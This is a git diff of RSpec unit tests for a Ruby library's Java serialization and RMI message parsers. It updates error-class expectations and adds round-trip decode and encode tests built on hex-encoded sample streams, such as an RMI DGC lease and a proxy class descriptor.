b/spec/lib/rex/java/serialization/model/field_spec.rb index 10a167042c..151e8e0ad5 100644 --- a/spec/lib/rex/java/serialization/model/field_spec.rb +++ b/spec/lib/rex/java/serialization/model/field_spec.rb @@ -34,7 +34,7 @@ describe Rex::Java::Serialization::Model::Field do describe "#encode" do context "when empty field" do - it { expect { field.encode }.to raise_error(::RuntimeError) } + it { expect { field.encode }.to raise_error(Rex::Java::Serialization::EncodeError) } end context "when primitive field" do diff --git a/spec/lib/rex/java/serialization/model/long_utf_spec.rb b/spec/lib/rex/java/serialization/model/long_utf_spec.rb index c72d54cca5..1e9b59d4b8 100644 --- a/spec/lib/rex/java/serialization/model/long_utf_spec.rb +++ b/spec/lib/rex/java/serialization/model/long_utf_spec.rb @@ -47,8 +47,8 @@ describe Rex::Java::Serialization::Model::LongUtf do describe "#decode" do context "when stream contains empty string" do - it "raises RuntimeError" do - expect { long_utf.decode(empty_io) }.to raise_error(::RuntimeError) + it "raises Rex::Java::Serialization::DecodeError" do + expect { long_utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end @@ -70,7 +70,7 @@ describe Rex::Java::Serialization::Model::LongUtf do context "when stream contains incomplete long_utf" do it "returns nil" do - expect { long_utf.decode(incomplete_utf_io) }.to raise_error(::RuntimeError) + expect { long_utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end diff --git a/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb b/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb new file mode 100644 index 0000000000..cf9b59a94a --- /dev/null +++ b/spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb @@ -0,0 +1,115 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java' +require 'stringio' + +describe Rex::Java::Serialization::Model::ProxyClassDesc do + subject(:proxy_class_desc) do + described_class.new + end + + let(:sample) do + "\x00\x00\x00\x01\x00\x13\x65\x78\x61\x6d\x70\x6c\x65\x2e\x68\x65" + + "\x6c\x6c\x6f\x2e\x48\x65\x6c\x6c\x6f\x70\x78\x72\x00\x17\x6a\x61" + + "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e" + + "\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01" + + "\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e" + + "\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61" + + "\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x70\x78\x70" + end + + let(:sample_io) { StringIO.new(sample) } + + describe ".new" do + it "Rex::Java::Serialization::Model::ProxyClassDesc" do + expect(proxy_class_desc).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc) + end + + it "initializes interfaces with empty Array" do + expect(proxy_class_desc.interfaces).to be_empty + end + + it "initializes class_annotation with nil" do + expect(proxy_class_desc.class_annotation).to be_nil + end + + it "initializes super_class with nil" do + expect(proxy_class_desc.super_class).to be_nil + end + end + + describe "#decode" do + it "returns a Rex::Java::Serialization::Model::ProxyClassDesc" do + expect(proxy_class_desc.decode(sample_io)).to be_a(Rex::Java::Serialization::Model::ProxyClassDesc) + end + + it "deserializes interfaces" do + proxy_class_desc.decode(sample_io) + expect(proxy_class_desc.interfaces.length).to eq(1) + end + + it "deserializes interfaces contents correctly" do + proxy_class_desc.decode(sample_io) + expect(proxy_class_desc.interfaces[0].contents).to eq('example.hello.Hello') + end + + it "deserializes class annotation correctly" do + proxy_class_desc.decode(sample_io) + expect(proxy_class_desc.class_annotation).to be_a(Rex::Java::Serialization::Model::Annotation) + end + + it "deserializes class annotation contents" do + proxy_class_desc.decode(sample_io) + expect(proxy_class_desc.class_annotation.contents[0]).to be_a(Rex::Java::Serialization::Model::NullReference) + end + + it "deserializes super_class" do + proxy_class_desc.decode(sample_io) + expect(proxy_class_desc.super_class).to be_a(Rex::Java::Serialization::Model::ClassDesc) + end + + it "deserializes super class description" do + proxy_class_desc.decode(sample_io) + expect(proxy_class_desc.super_class.description).to be_a(Rex::Java::Serialization::Model::NewClassDesc) + end + end + + describe "#encode" do + it "serializes a ProxyClassDesc" do + field = Rex::Java::Serialization::Model::Field.new + field.type = 'object' + field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'h') + field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/lang/reflect/InvocationHandler;') + super_class_desc_new = Rex::Java::Serialization::Model::NewClassDesc.new + super_class_desc_new.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.lang.reflect.Proxy') + super_class_desc_new.serial_version = 0xe127da20cc1043cb + super_class_desc_new.flags = 2 + super_class_desc_new.fields << field + super_class_desc_new.class_annotation = Rex::Java::Serialization::Model::Annotation.new + super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new + super_class_desc_new.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + super_class_desc_new.super_class = Rex::Java::Serialization::Model::ClassDesc.new + super_class_desc_new.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + super_class_desc = Rex::Java::Serialization::Model::ClassDesc.new + super_class_desc.description = super_class_desc_new + + interface = Rex::Java::Serialization::Model::Utf.new(nil, 'example.hello.Hello') + proxy_class_desc.interfaces << interface + proxy_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::NullReference.new + proxy_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new + proxy_class_desc.super_class = super_class_desc + + expect(proxy_class_desc.encode).to eq(sample) + end + end + + describe "#to_s" do + it "prints a sample NewClassDesc stream" do + proxy_class_desc.decode(sample_io) + expect(proxy_class_desc.to_s).to eq('[ example.hello.Hello ], @super_class: java.lang.reflect.Proxy') + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/java/serialization/model/utf_spec.rb b/spec/lib/rex/java/serialization/model/utf_spec.rb index a022cf9e18..4104912f8e 100644 --- a/spec/lib/rex/java/serialization/model/utf_spec.rb +++ b/spec/lib/rex/java/serialization/model/utf_spec.rb @@ -47,8 +47,8 @@ describe Rex::Java::Serialization::Model::Utf do describe "#decode" do context "when stream contains empty string" do - it "raises RuntimeError" do - expect { utf.decode(empty_io) }.to raise_error(::RuntimeError) + it "raises Rex::Java::Serialization::DecodeError" do + expect { utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end @@ -69,8 +69,8 @@ describe Rex::Java::Serialization::Model::Utf do end context "when stream contains incomplete utf" do - it "raises RuntimeError" do - expect { utf.decode(incomplete_utf_io) }.to raise_error(::RuntimeError) + it "raises Rex::Java::Serialization::DecodeError" do + expect { utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError) end end diff --git a/spec/lib/rex/proto/rmi/model/call_data_spec.rb b/spec/lib/rex/proto/rmi/model/call_data_spec.rb new file mode 100644 index 0000000000..3c4f34da83 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/call_data_spec.rb @@ -0,0 +1,100 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' +require 'rex/java' + +describe Rex::Proto::Rmi::Model::CallData do + + subject(:call_data) do + described_class.new + end + + let(:call_data_stream) do + "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x01\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + + "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + + "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + + "\x70\x78\x70\x00\x00\x00\x01\x73\x72\x00\x15\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f\x62\x6a\x49\x44" + + "\xa7\x5e\xfa\x12\x8d\xdc\xe5\x5c\x02\x00\x02\x4a\x00\x06\x6f\x62" + + "\x6a\x4e\x75\x6d\x4c\x00\x05\x73\x70\x61\x63\x65\x74\x00\x15\x4c" + + "\x6a\x61\x76\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f" + + "\x55\x49\x44\x3b\x70\x78\x70\xbf\x26\x22\xcc\x85\x10\xe0\xf0\x73" + + "\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76" + + "\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf\x36\x4f\x12\x02\x00" + + "\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00\x04\x74\x69\x6d\x65" + + "\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78\x70\x80\x01\x00\x00" + + "\x01\x49\xb5\xe4\x92\x78\xd2\x4f\xdf\x47\x77\x08\x80\x00\x00\x00" + + "\x00\x00\x00\x00\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66\x0c\x4a" + + "\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c\x00\x04" + + "\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72\x6d\x69" + + "\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00\x00\x00" + + "\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x72\x6d" + + "\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf\xa4\xa5" + + "\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00\x02\x5b" + + "\x42\x4c\x00\x03\x75\x69\x64\x71\x00\x7e\x00\x03\x70\x78\x70\x75" + + "\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00" + + "\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72\x60\x1c\xc7\x95\x73" + + "\x71\x00\x7e\x00\x05\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9" + + "\x62\xc1\xc0" + end + + let(:call_data_stream_io) { StringIO.new(call_data_stream) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::CallData decoded" do + expect(call_data.decode(call_data_stream_io)).to eq(call_data) + end + + it "decodes code correctly" do + call_data.decode(call_data_stream_io) + expect(call_data.object_number).to eq(2) + end + + it "decodes the uid correctly" do + call_data.decode(call_data_stream_io) + expect(call_data.uid).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier) + end + + it "decodes the operation correctly" do + call_data.decode(call_data_stream_io) + expect(call_data.operation).to eq(1) + end + + it "decodes the hash correctly" do + call_data.decode(call_data_stream_io) + expect(call_data.hash).to eq(-669196253586618813) + end + + it "decodes the arguments correctly" do + call_data.decode(call_data_stream_io) + expect(call_data.arguments).to be_an(Array) + end + + it "decodes all the arguments" do + call_data.decode(call_data_stream_io) + expect(call_data.arguments.length).to eq(3) + end + + it "decodes the first argument as an array" do + call_data.decode(call_data_stream_io) + expect(call_data.arguments[0]).to be_an(Rex::Java::Serialization::Model::NewArray) + end + + it "decodes the type of the first argument array correctly" do + call_data.decode(call_data_stream_io) + expect(call_data.arguments[0].array_description.description.class_name.contents).to eq('[Ljava.rmi.server.ObjID;') + end + end + + describe "#encode" do + it "re-encodes a CallData stream correctly" do + call_data.decode(call_data_stream_io) + expect(call_data.encode).to eq(call_data_stream) + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/call_spec.rb b/spec/lib/rex/proto/rmi/model/call_spec.rb index 7199140549..7a43747118 100644 --- a/spec/lib/rex/proto/rmi/model/call_spec.rb +++ b/spec/lib/rex/proto/rmi/model/call_spec.rb @@ -57,7 +57,7 @@ describe Rex::Proto::Rmi::Model::Call do it "decodes the call data correctly" do call.decode(call_message_io) - expect(call.call_data).to be_a(Rex::Java::Serialization::Model::Stream) + expect(call.call_data).to be_a(Rex::Proto::Rmi::Model::CallData) end end diff --git a/spec/lib/rex/proto/rmi/model/return_data_spec.rb b/spec/lib/rex/proto/rmi/model/return_data_spec.rb index 4511f3d618..d275eb9c27 100644 --- a/spec/lib/rex/proto/rmi/model/return_data_spec.rb +++ b/spec/lib/rex/proto/rmi/model/return_data_spec.rb @@ -46,7 +46,7 @@ describe Rex::Proto::Rmi::Model::ReturnData do it "decodes the return data correctly" do return_data.decode(return_stream_io) - expect(return_data.return_value).to be_a(Rex::Java::Serialization::Model::Stream) + expect(return_data.return_value).to be_a(Rex::Proto::Rmi::Model::ReturnValue) end end diff --git a/spec/lib/rex/proto/rmi/model/return_value_spec.rb b/spec/lib/rex/proto/rmi/model/return_value_spec.rb new file mode 100644 index 0000000000..371ca04e71 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/return_value_spec.rb @@ -0,0 +1,88 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' +require 'rex/java' + +describe Rex::Proto::Rmi::Model::ReturnValue do + + subject(:return_value) do + described_class.new + end + + let(:return_value_stream) do + "\xac\xed\x00\x05\x77\x0f\x01\xd2\x4f\xdf\x47\x00\x00\x01\x49" + + "\xb5\xe4\x92\x78\x80\x15\x73\x72\x00\x12\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x64\x67\x63\x2e\x4c\x65\x61\x73\x65\xb0\xb5\xe2\x66" + + "\x0c\x4a\xdc\x34\x02\x00\x02\x4a\x00\x05\x76\x61\x6c\x75\x65\x4c" + + "\x00\x04\x76\x6d\x69\x64\x74\x00\x13\x4c\x6a\x61\x76\x61\x2f\x72" + + "\x6d\x69\x2f\x64\x67\x63\x2f\x56\x4d\x49\x44\x3b\x70\x78\x70\x00" + + "\x00\x00\x00\x00\x09\x27\xc0\x73\x72\x00\x11\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x64\x67\x63\x2e\x56\x4d\x49\x44\xf8\x86\x5b\xaf" + + "\xa4\xa5\x6d\xb6\x02\x00\x02\x5b\x00\x04\x61\x64\x64\x72\x74\x00" + + "\x02\x5b\x42\x4c\x00\x03\x75\x69\x64\x74\x00\x15\x4c\x6a\x61\x76" + + "\x61\x2f\x72\x6d\x69\x2f\x73\x65\x72\x76\x65\x72\x2f\x55\x49\x44" + + "\x3b\x70\x78\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + + "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x08\x6b\x02\xc7\x72" + + "\x60\x1c\xc7\x95\x73\x72\x00\x13\x6a\x61\x76\x61\x2e\x72\x6d\x69" + + "\x2e\x73\x65\x72\x76\x65\x72\x2e\x55\x49\x44\x0f\x12\x70\x0d\xbf" + + "\x36\x4f\x12\x02\x00\x03\x53\x00\x05\x63\x6f\x75\x6e\x74\x4a\x00" + + "\x04\x74\x69\x6d\x65\x49\x00\x06\x75\x6e\x69\x71\x75\x65\x70\x78" + + "\x70\x80\x01\x00\x00\x01\x49\xb5\xf8\x00\xea\xe9\x62\xc1\xc0" + end + + let(:return_value_stream_io) { StringIO.new(return_value_stream) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::ReturnValue decoded" do + expect(return_value.decode(return_value_stream_io)).to eq(return_value) + end + + it "decodes code correctly" do + return_value.decode(return_value_stream_io) + expect(return_value.code).to eq(Rex::Proto::Rmi::Model::RETURN_VALUE) + end + + it "decodes the uid correctly" do + return_value.decode(return_value_stream_io) + expect(return_value.uid).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier) + end + + it "decodes the value correctly" do + return_value.decode(return_value_stream_io) + expect(return_value.value).to be_an(Array) + end + + it "decodes the value as an object" do + return_value.decode(return_value_stream_io) + expect(return_value.value[0]).to be_an(Rex::Java::Serialization::Model::NewObject) + end + + it "decodes the type of object in the value correctly" do + return_value.decode(return_value_stream_io) + expect(return_value.value[0].class_desc.description.class_name.contents).to eq('java.rmi.dgc.Lease') + end + end + + describe "#encode" do + it "re-encodes a ReturnData stream correctly" do + return_value.decode(return_value_stream_io) + expect(return_value.encode).to eq(return_value_stream) + end + end + + describe "#is_exception?" do + it "return false unless the return value is an exception" do + return_value.decode(return_value_stream_io) + expect(return_value.is_exception?).to be_falsey + end + end + + describe "#get_class_name" do + it "returns the class name of the object in the return value" do + return_value.decode(return_value_stream_io) + expect(return_value.get_class_name).to eq('java.rmi.dgc.Lease') + end + end +end diff --git a/spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb b/spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb new file mode 100644 index 0000000000..6c4bd67403 --- /dev/null +++ b/spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb @@ -0,0 +1,47 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/proto/rmi' +require 'rex/java' + +describe Rex::Proto::Rmi::Model::UniqueIdentifier do + + subject(:uid) do + described_class.new + end + + let(:uid_raw) do + "\xd2\x4f\xdf\x47\x00\x00\x01\x49\xb5\xe4\x92\x78\x80\x15" + end + + let(:uid_raw_io) { StringIO.new(uid_raw) } + + describe "#decode" do + it "returns the Rex::Proto::Rmi::Model::UniqueIdentifier decoded" do + expect(uid.decode(uid_raw_io)).to eq(uid) + end + + it "decodes number correctly" do + uid.decode(uid_raw_io) + expect(uid.number).to eq(-766517433) + end + + it "decodes time correctly" do + uid.decode(uid_raw_io) + expect(uid.time).to eq(1416095896184) + end + + it "decodes count correctly" do + uid.decode(uid_raw_io) + expect(uid.count).to eq(-32747) + end + end + + describe "#encode" do + it "re-encodes a ReturnData stream correctly" do + uid.decode(uid_raw_io) + expect(uid.encode).to eq(uid_raw) + end + end +end